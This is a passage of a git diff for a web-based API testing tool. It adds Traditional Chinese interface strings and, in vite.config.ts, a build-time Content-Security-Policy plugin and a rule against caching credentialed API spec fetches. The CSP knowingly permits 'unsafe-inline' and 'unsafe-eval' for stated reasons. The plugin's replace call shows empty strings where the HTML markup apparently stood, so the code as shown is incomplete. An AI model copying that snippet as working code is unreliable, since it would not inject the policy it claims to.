"請輸入使用者名稱和密碼", tokenUrlEmpty: "Token URL 為空", + tokenUrlInvalid: "Token URL 無效", + tokenUrlInsecure: "Token URL 必須使用 HTTPS 以安全傳輸憑證", noAccessToken: "響應中無 access_token", fileReadFailed: "檔案讀取失敗", }, @@ -624,6 +628,7 @@ export default { updateFailed: "更新失敗:{{status}}", running: "執行中...", execute: "執行", + load: "載入", ok: "成功", requestFailed: "請求失敗", tokenApplied: "已驗證 — Token 已套用至目前環境", diff --git a/vite.config.ts b/vite.config.ts index c38372c..8e28343 100644 --- a/vite.config.ts +++ b/vite.config.ts @@ -14,6 +14,38 @@ function git(cmd: string): string { } } +// Inject a Content-Security-Policy meta tag at build time only (dev keeps Vite's +// inline HMR preamble working). connect-src is left open because this is an API +// testing tool that must reach arbitrary hosts; the value is in object-src/base-uri/ +// frame-ancestors and constraining where scripts/styles/images may load from. +function cspPlugin() { + const csp = [ + "default-src 'self'", + "connect-src * data: blob: ws: wss:", + "img-src 'self' data: https:", + "font-src 'self' data:", + "style-src 'self' 'unsafe-inline'", + // 'unsafe-eval' is required: ajv compiles user-supplied JSON Schemas at runtime + // via new Function (dynamic specs can't be precompiled). 'self' still blocks + // loading executable script from external origins. + "script-src 'self' 'unsafe-inline' 'unsafe-eval'", + "worker-src 'self' blob:", + "object-src 'none'", + "base-uri 'self'", + "frame-ancestors 'none'", + ].join("; ") + return { + name: "apilot-csp", + apply: "build" as const, + transformIndexHtml(html: string) { + return html.replace( + "", + `\n `, + ) + }, + } +} + export default defineConfig(({ mode }) => { const env = loadEnv(mode, process.cwd(), "VITE_") const agGridLicense = process.env.VITE_AG_GRID_LICENSE || env.VITE_AG_GRID_LICENSE || "" @@ -22,6 +54,7 @@ export default defineConfig(({ mode }) => { plugins: [ react(), tailwindcss(), + cspPlugin(), VitePWA({ registerType: "prompt", workbox: { @@ -29,11 +62,17 @@ export default defineConfig(({ mode }) => { globPatterns: ["**/*.{js,css,html,svg}"], runtimeCaching: [ { - urlPattern: /(?:^|\/)(?:spec|openapi|swagger|asyncapi)[^/]*\.(json|ya?ml)$/i, + // Never cache credentialed spec fetches (Authorization header) — that + // would persist a protected API document to disk for later, possibly + // unauthenticated, readers. Only cache successful responses. + urlPattern: ({ request, url }: { request: Request; url: URL }) => + !request.headers.has("authorization") + && /(?:^|\/)(?:spec|openapi|swagger|asyncapi)[^/]*\.(json|ya?ml)$/i.test(url.pathname), handler: "NetworkFirst", options: { cacheName: "api-specs", expiration: { maxEntries: 20, maxAgeSeconds: 7 * 24 * 60 * 60 }, + cacheableResponse: { statuses: [200] }, }, }, ], @@ -59,6 +98,10 @@ export default defineConfig(({ mode }) => { __BUILD_TIME__: JSON.stringify(new Date().toISOString()), __CI__: JSON.stringify(process.env.CI === "true"), __CI_RUN_NUMBER__: JSON.stringify(process.env.GITHUB_RUN_NUMBER ?? ""), + // AG Grid Enterprise validates its license client-side, so the key is + // necessarily embedded in the bundle. Keep it in a build-time env var + // (VITE_AG_GRID_LICENSE) rather than committed source; this is a known, + // unavoidable property of AG Grid Enterprise, not a leak to fix. __AG_GRID_ENTERPRISE__: JSON.stringify(!!agGridLicense), __AG_GRID_LICENSE_KEY__: JSON.stringify(agGridLicense), },